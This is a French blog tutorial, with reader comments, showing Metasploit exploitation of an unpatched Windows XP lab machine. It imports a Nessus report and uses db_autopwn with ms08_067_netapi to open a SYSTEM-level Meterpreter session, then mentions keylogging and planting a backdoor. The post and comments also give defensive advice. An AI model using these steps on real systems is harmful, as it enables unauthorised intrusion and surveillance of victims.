Backtrack – Exploitation de faille

Nous continuons la série d’articles consacrés à Backtrack.

L’exploitation de faille est un moment excitant. Toutes les recherches engagées vont normalement porter ses fruits. Nous allons enfin explorer les faiblesses d’un réseau ou d’un système.
Suivant les vulnérabilités, il y a des tonnes de possibilités en matière d’exploitation. Si vous voulez en savoir plus, faites comme moi et achetez un bon bouquin relatant des techniques de Hacking. Vous comprendrez mieux quelles sont les différentes méthodes pour exploiter une faille, ainsi que les différents types de failles.

Comme il existe beaucoup de types de failles, et énormément de méthodes, je m’arrêterai sur un cas général, en appliquant une technique “classique”.

Après avoir collecté un tas d’informations sur le réseau, ainsi que sur la machine ciblée, nous avons évaluer ses vulnérabilités. Rappelez-vous de notre bon ami Nessus qui nous a clairement indiqué que la machine cible avait comme système d’exploitation Windows XP SP3, et proposait le service de système de fichiers réseau CIFS. Seulement voilà, cette machine est vulnérable. Non pas parce qu’elle utilise ce service, mais parce que l’administrateur de la machine n’a pas pris le temps de mettre à jour régulièrement son système d’exploitation via Windows Update, ainsi que l’antivirus

Sachez que les tests réalisés en réseau local ont été effectué avec l’antivirus Avira Antivir (ainsi qu’une base de données antivirale de moins d’un an), sur un Windows XP SP3 sans mises à jour récentes.

Vous serez surpris de voir qu’il existe énormément d’ordinateurs au monde dans ce cas là. Ils sont souvent la proie des virus sur Internet (qui aident notamment à réaliser des attaques DDoS (Distributed Denial of Service).

Dans notre étude de cas, nous allons utiliser Metasploit Framework (MSF).

Sa base de données contient tous les exploits / payloads connus à ce jour. Bien entendu, pour une bonne utilisation de cet outil, il est important de le mettre à jour régulièrement (voir même avant chaque utilisation) avec la commande “msfupdate“.

Dans un terminal, démarrez l’outil “msfconsole“.

root@root:~# msfconsole
 
_
| |      o
_  _  _    _ _|_  __,   ,    _  | |  __    _|_
/ |/ |/ |  |/  |  /  |  / \_|/ \_|/  /  \_|  |
|  |  |_/|__/|_/\_/|_/ \/ |__/ |__/\__/ |_/|_/
/|
\|
 
=[ metasploit v3.7.0-release [core:3.7 api:1.0]
+ -- --=[ 684 exploits - 355 auxiliary
+ -- --=[ 217 payloads - 27 encoders - 8 nops
 
msf >

Nous allons utiliser le résultat du scan Nessus exécuté dans dans la recherche de vulnérabilité (dernier article), et l’importer dans une base de données SQL :

msf > db_import /root/nessus_report_Win.nessus
[*] Importing 'Nessus XML (v2)' data
[*] Importing host 192.168.128.129
[*] Successfully imported /root/nessus_report_Win.nessus
msf > db_import /root/nessus_report_Win.nessus
[*] Importing 'Nessus XML (v2)' data
[*] Importing host 192.168.128.132
[*] Successfully imported /root/nessus_report_Win.nessus

MSF connaît maintenant votre victime : comment la joindre, et surtout quelles sont les vulnérabilités trouvées par Nessus.

Nous allons lancer une commande qui va automatiquement exploiter l’un des failles disponibles afin d’obtenir une session avec la machine distante. Admirez le travail :

msf > db_autopwn -x -e
[*] (1/3 [0 sessions]): Launching exploit/windows/smb/ms08_067_netapi against 192.168.128.132:445...
[*] (2/3 [0 sessions]): Launching exploit/windows/smb/ms06_040_netapi against 192.168.128.132:445...
[*] (3/3 [0 sessions]): Launching exploit/windows/smb/psexec against 192.168.128.132:445...
[*] (3/3 [0 sessions]): Waiting on 3 launched modules to finish execution...
[*] Meterpreter session 1 opened (192.168.128.138:48400 -> 192.168.128.132:6313) at 2011-09-05 09:40:24 -0400
[*] (3/3 [1 sessions]): Waiting on 1 launched modules to finish execution...

0wned ! Le tour est joué, la machine distante est prise au piège. Nous avons utiliser l’exploit ms08_067_netapi pour pénétrer le système.
Pour retrouver une session ouverte, il suffit d’exécuter cette commande :

msf > sessions -l
 
Active sessions
===============
 
  Id  Type                   Information                           Connection
  --  ----                   -----------                           ----------
  1   meterpreter x86/win32  AUTORITE NT\SYSTEM @ VICTIME-484AF1D  192.168.128.138:48400 -> 192.168.128.132:6313

Et maintenant ?

Maintenant passons aux vilaines choses.
Pour obtenir le shell d’une session ouverte, il suffit de l’appeler par son ID :

session -i 1

Ensuite, la commande “help” vous éclairera sur la suite. Vous pouvez par exemple explorer les fichiers, prendre une capture d’écran, enregistrer les touches du clavier utilisées et encore plein d’autres trucs, dont des tâches administratives.

Cependant, un hacker ayant obtenu le shell d’un système essaye dans la plupart des cas de rester discret.
Dans le prochain article, nous allons voir comment installer un “backdoor” afin de pouvoir revenir plus tard sur le système sans exploiter de faille.
Ah oui, j’oubliais. Backtrack fournit une excellente interface graphique à MSF : “Armitage“.

Par rapport aux autres articles, aucune nouveauté en matière de lutte contre ce genre d’attaque. Un antivirus à jour, un pare-feu bien configuré, un système d’exploitation récent et à jour suffiront à éviter ce genre d’exploitation.

Aujourd’hui, les systèmes les plus vulnérables sont les sites Web qui sont très souvent victimes d’injections SQL permettant de récupérer des fichiers importants, et de compromettre la sécurité du serveur, et donc du réseau tout entier.

  • http://www.lorfdotnet.com Lorfagil

    Est-ce qu’un bon antivirus ne suffit pas ? faut-il absolument avoir un système à jour pour se protéger ? J’ai le cas de certains progiciel qui ne sont pas toujours compatible avec tous les patchs de microsoft du coup je ne fais pas toujours les mises à jour.

  • Emilien

    Les progiciels utilisent très souvent un framework comme le .NET par exemple. Si tu ne met pas à jour le framework, ton progiciel est compromis.

    Le problème de compatibilité pose très souvent problème, et nous met face à faire un choix entre assurer la sécurité du SI, ou faire fonctionner nos applications.

    Si ce n’est pas possible d’avoir le système à jour, il faut au moins disposer d’un bon antivirus, d’une solution pare-feu sur chaque machine et d’un système de détection d’intrusion (IDS) sur le réseau.

  • http://www.jmanteau.fr Julien

    Correction:
    Dans le cadre d’une machine vulnérable et ne pouvant être mise à jour pour des raisons opérationnelles, un bon IPS est recommandée.
    L’IPS bloquera les attaques quand l’IDS ne fera qu’avertir …
    Type d’IPS pur: Snort en mode inline, Tipping Point ou encore un “Next-Gen” firewall (Fortinet, Checkpoint, Cisco ASA …)

    L’important étant d’avoir l

  • http://www.jmanteau.fr Julien

    L’important est d’avoir la règle droppant le traffic présentant une chance d’exécuter la vulnérabilité connue.

    PS: désolé pour l’envoi involontaire et le double post

  • Dimitri

    Des références concernant ce “bon bouquin” sur les failles?

  • Emilien

    Très bon commentaire Julien, merci.

    Pour les bouquins, je viens de faire l’acquisition de Techniques de Hacking qui traite surtout les exploit via la programmation en C.

    Et sinon il y a un an j’ai acheté Chaînes d’exploits qui m’a surtout appris comment les hackers faisaient pour exploiter des failles (humaines et techniques).

    Ce sont pour l’instant mes seules références dans ma bibliothèque, le reste de mes connaissances ont été apprises sur Internet !

  • Dimitri

    Merci beaucoup pour les références :).

    Cette série d’articles est vraiment très intéressante !

  • Emilien

    Merci !

  • Emilien

    Dans ce cas, il faut bien les isoler et les protéger avec des firewall…